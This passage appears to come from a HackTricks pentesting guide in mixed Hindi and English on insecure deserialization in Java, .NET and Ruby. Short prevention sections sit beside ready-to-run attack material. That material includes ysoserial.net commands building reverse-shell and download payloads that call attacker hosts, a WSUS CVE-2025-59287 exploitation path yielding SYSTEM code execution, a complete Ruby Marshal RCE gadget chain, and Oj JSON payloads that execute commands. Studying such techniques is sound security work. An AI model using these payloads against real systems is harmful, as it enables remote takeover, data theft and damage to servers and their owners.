maven इंस्टॉल करें, और प्रोजेक्ट संकलित करें:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

इस Java JSON लाइब्रेरी के बारे में और पढ़ें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

क्यों

Java कई उद्देश्यों के लिए serialization का व्यापक उपयोग करता है, जैसे:

  • HTTP requests: Serialization का उपयोग parameters, ViewState, cookies, आदि के प्रबंधन में व्यापक रूप से किया जाता है।
  • RMI (Remote Method Invocation): Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java applications में दूरस्थ संचार के लिए एक महत्वपूर्ण स्तंभ है।
  • RMI over HTTP: यह तरीका आमतौर पर Java-based thick client वेब एप्लिकेशनों द्वारा उपयोग किया जाता है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करते हैं।
  • JMX (Java Management Extensions): JMX नेटवर्क पर ऑब्जेक्ट्स भेजने के लिए serialization का उपयोग करती है।
  • Custom Protocols: Java में सामान्य प्रथा कच्चे Java ऑब्जेक्ट्स का ट्रांसमिशन करना है, जिसे आने वाले exploit उदाहरणों में दिखाया जाएगा।

रोकथाम

Transient objects

जो क्लास Serializable को implement करती है, वह क्लास के अंदर किसी भी ऐसे ऑब्जेक्ट को जो serializable नहीं होना चाहिए, transient के रूप में घोषित कर सकती है। उदाहरण के लिए:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

ऐसे क्लास की Serialization से बचें जिन्हें Serializable को implement करना पड़ता है

ऐसी परिस्थितियों में जहाँ class hierarchy के कारण कुछ objects को Serializable को implement करना ही पड़ता है, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, इन objects को non-deserializable बनाएं — एक final readObject() method परिभाषित करें जो लगातार exception फेंके, जैसा नीचे दिखाया गया है:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java में Deserialization सुरक्षा को बढ़ाना

java.io.ObjectInputStream को अनुकूलित करना deserialization प्रक्रियाओं की सुरक्षा के लिए एक व्यावहारिक तरीका है। यह तरीका तब उपयुक्त है जब:

  • deserialization कोड आपके नियंत्रण में हो।
  • deserialization के लिए अपेक्षित classes ज्ञात हों।

resolveClass() मेथड को ओवरराइड करें ताकि deserialization केवल अनुमत classes तक ही सीमित रहे। इससे उन classes को छोड़कर किसी भी class की deserialization रोकी जाती है जिन्हें स्पष्ट रूप से अनुमति नहीं दी गई है, जैसे कि निम्न उदाहरण जो deserialization को केवल Bicycle class तक सीमित करता है:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Java Agent का उपयोग करके सुरक्षा सुधार तब एक बैकअप समाधान प्रदान करता है जब कोड संशोधन संभव न हो। यह तरीका मुख्यतः blacklisting harmful classes के लिए लागू होता है, और इसे एक JVM parameter का उपयोग करके किया जाता है:

-javaagent:name-of-agent.jar

यह deserialization को dynamic तरीके से secure करने का एक तरीका प्रदान करता है, जो उन environments के लिए आदर्श है जहाँ immediate code changes व्यावहारिक नहीं होते।

एक उदाहरण देखें: rO0 by Contrast Security

Implementing Serialization Filters: Java 9 ने serialization filters को ObjectInputFilter interface के माध्यम से पेश किया, जो उन criteria को निर्दिष्ट करने के लिए एक शक्तिशाली mechanism प्रदान करता है जिन्हें serialized objects को deserialized होने से पहले पूरा करना चाहिए। ये filters globally या per stream लागू किए जा सकते हैं, जिससे deserialization process पर सूक्ष्म नियंत्रण मिलता है।

serialization filters का उपयोग करने के लिए, आप एक global filter सेट कर सकते हैं जो सभी deserialization operations पर लागू हो या specific streams के लिए इसे dynamically configure कर सकते हैं। उदाहरण के लिए:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Leveraging External Libraries for Enhanced Security: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.

  • NotSoSerial deserialization प्रक्रियाओं को इंटरसेप्ट करता है ताकि untrusted code के execution को रोका जा सके।
  • jdeserialize serialized Java objects का analysis बिना उन्हें deserializing किए करने की अनुमति देता है, जो संभावित रूप से malicious content की पहचान करने में मदद करता है।
  • Kryo एक alternative serialization framework है जो speed और efficiency पर जोर देता है, और configurable serialization strategies प्रदान करता है जो security को बढ़ा सकती हैं।

References

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

मूलतः कई सेवाएं JMS का उपयोग खतरनाक तरीके से कर रही हैं। इसलिए, अगर आपके पास इन सेवाओं को messages भेजने के लिए पर्याप्त privileges हैं (आमतौर पर valid credentials की आवश्यकता होती है), तो आप malicious objects serialized भेज सकते हैं जिन्हें consumer/subscriber द्वारा deserialized किया जाएगा।
इसका मतलब यह है कि इस exploit में उन सभी clients को जो उस message का उपयोग करेंगे प्रभावित किया जा सकता है।

ध्यान रखें कि भले ही कोई service vulnerable हो (क्योंकि यह user input को insecurely deserializing कर रहा है), आपको vulnerability को exploit करने के लिए valid gadgets खोजने की ज़रूरत होगी।

टूल JMET उन सेवाओं से connect करके और known gadgets का उपयोग करते हुए कई malicious objects serialized भेजकर उन पर attack करने के लिए बनाया गया था। ये exploits तभी काम करेंगे जब सेवा अभी भी vulnerable हो और उपयोग किए गए किसी भी gadget का vulnerable application में मौजूद होना चाहिए।

References

.Net

In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.

Fingerprint

WhiteBox

The source code should be inspected for occurrences of:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

ध्यान उन serializers पर होना चाहिए जो type को ऐसे variable द्वारा निर्धारित होने की अनुमति देते हैं जो user control में हो।

BlackBox

The search should target the Base64 encoded string AAEAAAD///// or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, JSON or XML structures featuring TypeObject or $type.

ysoserial.net

In this case you can use the tool ysoserial.net in order to create the deserialization exploits. Once downloaded the git repository you should compile the tool using Visual Studio for example.

If you want to learn about how does ysoserial.net creates it’s exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.

  • --gadget एक ऐसा विकल्प है जो उस gadget को सूचित करने के लिए उपयोग होता है जिसे abuse किया जाएगा (जिस class/function को deserialization के दौरान abuse किया जाएगा ताकि commands execute हों)।
  • --formatter यह बताने के लिए उपयोग होता है कि exploit को किस तरीके से serialize किया जाए (आपको पता होना चाहिए कि backend किस library का उपयोग payload को deserialize करने के लिए कर रहा है और वही formatter इस्तेमाल करना होगा)।
  • --output यह दर्शाने के लिए कि आप exploit का output raw चाहते हैं या base64 encoded। ध्यान दें कि ysoserial.net payload को UTF-16LE (Windows पर डिफ़ॉल्ट encoding) का उपयोग करके encode करेगा इसलिए अगर आप raw निकाल कर linux console से उसे encode करते हैं तो आपको कुछ encoding compatibility problems आ सकती हैं जो exploit को सही तरीके से काम करने से रोक सकती हैं (HTB JSON box में payload दोनों UTF-16LE और ASCII में काम कर रहा था पर इसका मतलब यह नहीं कि यह हमेशा काम करेगा)।
  • --plugin ysoserial.net plugins को सपोर्ट करता है ताकि specific frameworks (जैसे ViewState) के लिए exploits बनाया जा सके।

More ysoserial.net parameters

  • --minify संभव होने पर एक smaller payload देगा।
  • --raf -f Json.Net -c "anything" यह बताएगा कि दिए गए formatter (Json.Net इस मामले में) के साथ कौन-कौन से gadgets उपयोग किए जा सकते हैं।
  • --sf xml आप एक gadget (-g) संकेत कर सकते हैं और ysoserial.net ऐसे formatters की खोज करेगा जिनमें “xml” शामिल हो (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net के पास एक बहुत रोचक parameter भी है जो यह बेहतर समझने में मदद करता है कि हर exploit कैसे काम करता है: --test
यदि आप यह parameter इंगित करते हैं तो ysoserial.net स्थानीय रूप से exploit को try करेगा, ताकि आप यह परीक्षण कर सकें कि आपका payload सही ढंग से काम करेगा या नहीं.
यह parameter मददगार है क्योंकि यदि आप कोड की समीक्षा करेंगे तो आपको निम्नलिखित जैसा कोड का अंश मिलेगा (from ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

इसका मतलब यह है कि exploit का परीक्षण करने के लिए code serializersHelper.JsonNet_deserialize को कॉल करेगा

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.

ViewState

इसको देखें: this POST about how to try to exploit the __ViewState parameter of .Net ताकि आप execute arbitrary code कर सकें। यदि आप पीड़ित मशीन द्वारा उपयोग किए गए secrets पहले से जानते हैं, तो इस पोस्ट को पढ़ें ताकि execute code कर सकें.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • प्रभावित endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
  • मूल कारण: attacker‑controlled bytes legacy .NET formatters (BinaryFormatter/SoapFormatter) तक बिना strict allow‑lists/binders के पहुँचते हैं, इसलिए gadget chains WSUS service account (अक्सर SYSTEM) के रूप में execute होते हैं।

Minimal exploitation (Reporting path):

  1. Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. ReportEventBatch के लिए SOAP बनाएं जिसमें base64 gadget एम्बेड हो और इसे /ReportingWebService.asmx पर POST करें।
  2. जब कोई admin WSUS console खोलता है, तो event deserialized होता है और gadget सक्रिय हो जाता है (RCE as SYSTEM)।

AuthorizationCookie / GetCookie()

  • एक forged AuthorizationCookie स्वीकार किया जा सकता है, decrypted किया जा सकता है और BinaryFormatter sink को पास किया जा सकता है, जिससे pre‑auth RCE सक्षम हो सकता है यदि यह reachable हो।

Public PoC (tecxx/CVE-2025-59287-WSUS) पैरामीटर:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

रोकथाम

.Net में deserialization से सम्बंधित जोखिमों को कम करने के लिए:

  • डेटा स्ट्रीम्स को उनके ऑब्जेक्ट प्रकार निर्धारित करने की अनुमति देने से बचें। जब संभव हो DataContractSerializer या XmlSerializer का उपयोग करें।
  • JSON.Net के लिए, TypeNameHandling को None पर सेट करें: TypeNameHandling = TypeNameHandling.None
  • JavaScriptSerializer को JavaScriptTypeResolver के साथ उपयोग करने से बचें।
  • डिसिरियलाइज़ किए जा सकने वाले प्रकारों को सीमित करें, और .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझें, जैसे System.IO.FileInfo, जो सर्वर फ़ाइलों के गुणों को बदल सकता है, जिससे संभावित रूप से denial of service attacks हो सकते हैं।
  • ऐसे प्रकारों के साथ सावधान रहें जिनमें जोखिम भरी properties होती हैं, जैसे System.ComponentModel.DataAnnotations.ValidationException और इसका Value property, जिसका शोषण किया जा सकता है।
  • टाइप instantiation को सुरक्षित रूप से नियंत्रित करें ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें; अन्यथा DataContractSerializer या XmlSerializer भी कमजोर हो सकते हैं।
  • BinaryFormatter और JSON.Net के लिए custom SerializationBinder का उपयोग करके white list controls लागू करें।
  • .Net के ज्ञात insecure deserialization gadgets के बारे में अपडेट रहें और सुनिश्चित करें कि deserializers ऐसे प्रकारों को instantiate न करें।
  • संभावित रूप से जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग रखें ताकि WPF applications में System.Windows.Data.ObjectDataProvider जैसे ज्ञात gadgets को untrusted data sources के संपर्क में लाने से बचा जा सके।

संदर्भ

Ruby

Ruby में, serialization marshal लाइब्रेरी के भीतर मौजूद दो methods के माध्यम से संभव होती है। पहला method, जिसे dump कहा जाता है, एक object को byte stream में बदलने के लिए उपयोग किया जाता है—इसे serialization कहा जाता है। इसके विपरीत, दूसरा method, load, एक byte stream को वापस object में बदलने के लिए उपयोग किया जाता है—इसे deserialization कहा जाता है।

serialized objects की सुरक्षा के लिए, Ruby HMAC (Hash-Based Message Authentication Code) का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए प्रयुक्त key निम्नलिखित स्थानों में से किसी एक में संग्रहीत हो सकती है:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails को exploit करने के लिए एक और RCE chain: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

जैसा कि this vulnerability report में समझाया गया है, अगर किसी उपयोगकर्ता का unsanitized input किसी ruby object के .send() method तक पहुँचता है, तो यह method उस object के किसी भी अन्य method को किसी भी पैरामीटर के साथ कॉल करने की अनुमति देता है।

उदाहरण के लिए, eval को कॉल करके और दूसरे पैरामीटर के रूप में ruby code पास करने से मनमाना कोड निष्पादित करने की अनुमति मिलती है:

<Object>.send('eval', '<user input with Ruby code>') == RCE

इसके अलावा, यदि केवल एक पैरामीटर .send() का attacker द्वारा नियंत्रित होता है, जैसा कि पिछले writeup में बताया गया है, तो ऑब्जेक्ट के किसी भी method को कॉल करना संभव है जो आर्गुमेंट्स की आवश्यकता नहीं होती या जिनके आर्गुमेंट्स के डिफ़ॉल्ट मान होते हैं।
इसके लिए, ऑब्जेक्ट के सभी methods को सूचीबद्ध करके ऐसे कुछ रोचक methods ढूंढे जा सकते हैं जो इन आवश्यकताओं को पूरा करते हों

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

यह कैसे संभव हो सकता है, देखें pollute a Ruby class and abuse it in here.

Ruby _json pollution

जब request body में कुछ ऐसे मान भेजे जाते हैं जो hashabled नहीं होते, जैसे कि array, तो उन्हें _json नाम की नई key में जोड़ दिया जाता है। हालाँकि, एक attacker body में _json नाम का मान अपने इच्छित arbitrary values के साथ भी सेट कर सकता है। फिर, उदाहरण के लिए अगर backend किसी parameter की सत्यता की जाँच करता है लेकिन बाद में _json parameter का उपयोग किसी action को करने के लिए करता है, तो एक authorisation bypass किया जा सकता है।

अधिक जानकारी के लिए देखें Ruby _json pollution page.

Other libraries

यह तकनीक from this blog post से ली गई थी।

ऐसी और Ruby libraries भी हैं जिन्हें objects को serialize करने के लिए इस्तेमाल किया जा सकता है और इसलिए insecure deserialization के दौरान RCE पाने के लिए abused किया जा सकता है। नीचे दी गई table उन libraries में से कुछ और उन methods को दिखाती है जिन्हें loaded library कॉल करती है जब इन्हें unserialized किया जाता है (मूल रूप से RCE पाने के लिए abuse करने योग्य function):

लाइब्रेरीइनपुट डेटाक्लास के अंदर ट्रिगर होने वाली method
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

बुनियादी उदाहरण:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj का दुरुपयोग करने की कोशिश के मामले में, यह संभव था कि एक gadget class मिल जाए जो अपने hash फ़ंक्शन के अंदर to_s को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा और जिसे इस तरह बनाया जा सकता था कि वह एक random URL फेच करे, जिससे इन तरह के unsanitized deserialization vulnerabilities का एक बढ़िया detector मिल जाता है।

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

इसके अलावा, यह पाया गया कि पिछले तरीके से सिस्टम में एक फ़ोल्डर भी बनाया जाता है, जो किसी अन्य gadget का दुरुपयोग करके इसे कुछ इस तरह के साथ एक पूर्ण RCE में बदलने के लिए आवश्यक है:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Rails ऐप की file upload functionality एक attacker को फाइलें arbitrary तरीके से लिखने देती है। भले ही ऐप कुछ प्रतिबंधों के साथ चलता है (Docker के non-root user के कारण केवल कुछ डायरेक्टरीज जैसे tmp writable होती हैं), फिर भी यह Bootsnap cache directory (typically under tmp/cache/bootsnap) में लिखने की अनुमति देता है।

  • Understand Bootsnap’s Cache Mechanism

Bootsnap Rails के boot समय को तेज करता है by caching compiled Ruby code, YAML, and JSON files. यह cache फाइलें स्टोर करता है जिनमें एक cache key header शामिल होता है (जिसमें Ruby version, file size, mtime, compile options, आदि जैसे फ़ील्ड होते हैं) और उसके बाद compiled code होता है। यह header app startup के दौरान cache को validate करने के लिए इस्तेमाल होता है।

  • Gather File Metadata

Attacker पहले एक target file चुनता है जो संभवतः Rails startup के दौरान लोड होगी (उदाहरण के लिए, set.rb from Ruby’s standard library). कंटेनर के अंदर Ruby code execute करके वे जरूरी metadata निकालते हैं (जैसे RUBY_VERSION, RUBY_REVISION, size, mtime, और compile_option). यह डेटा एक valid cache key बनाने के लिए आवश्यक है।

  • Compute the Cache File Path

Bootsnap के FNV-1a 64-bit hash mechanism को replicate करके सही cache file path निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि malicious cache file उसी स्थान पर रखा जाए जहाँ Bootsnap उम्मीद करता है (e.g., under tmp/cache/bootsnap/compile-cache-iseq/)।

  • Craft the Malicious Cache File

Attacker एक payload तैयार करता है जो:

  • Executes arbitrary commands (for example, running id to show process info).
  • Removes the malicious cache after execution to prevent recursive exploitation.
  • Loads the original file (e.g., set.rb) to avoid crashing the application.

यह payload binary Ruby code में compile किया जाता है और सावधानी से बनाए गए cache key header के साथ concatenated किया जाता है (पूर्व में इकट्ठा किए गए metadata और Bootsnap के सही version number का उपयोग करते हुए)।

  • Overwrite and Trigger Execution Arbitrary file write vulnerability का उपयोग करके attacker crafted cache file को computed location पर लिखता है। इसके बाद वे server restart trigger करते हैं (tmp/restart.txt में लिखकर, जिसे Puma monitor करता है)। Restart के दौरान, जब Rails उस targeted file को require करता है, तो malicious cache file लोड हो जाता है, जिसके परिणामस्वरूप remote code execution (RCE) होता है।

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • वास्तविक chains में देखे जाने वाले सामान्य gadget classes: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • payloads में embedded होने वाला सामान्य side-effect marker (unmarshal के दौरान निष्पादित):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Where it surfaces in real apps:

  • Rails cache stores और session stores, जो ऐतिहासिक रूप से Marshal का उपयोग करते हैं
  • Background job backends और file-backed object stores
  • किसी भी custom persistence या binary object blobs के transport

Industrialized gadget discovery:

  • constructors, hash, _load, init_with या unmarshal के दौरान invoke होने वाले side-effectful methods के लिए Grep करें
  • CodeQL की Ruby unsafe deserialization queries का उपयोग करके sources → sinks को trace करें और gadgets को surface करें
  • public multi-format PoCs (JSON/XML/YAML/Marshal) के साथ validate करें

References

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें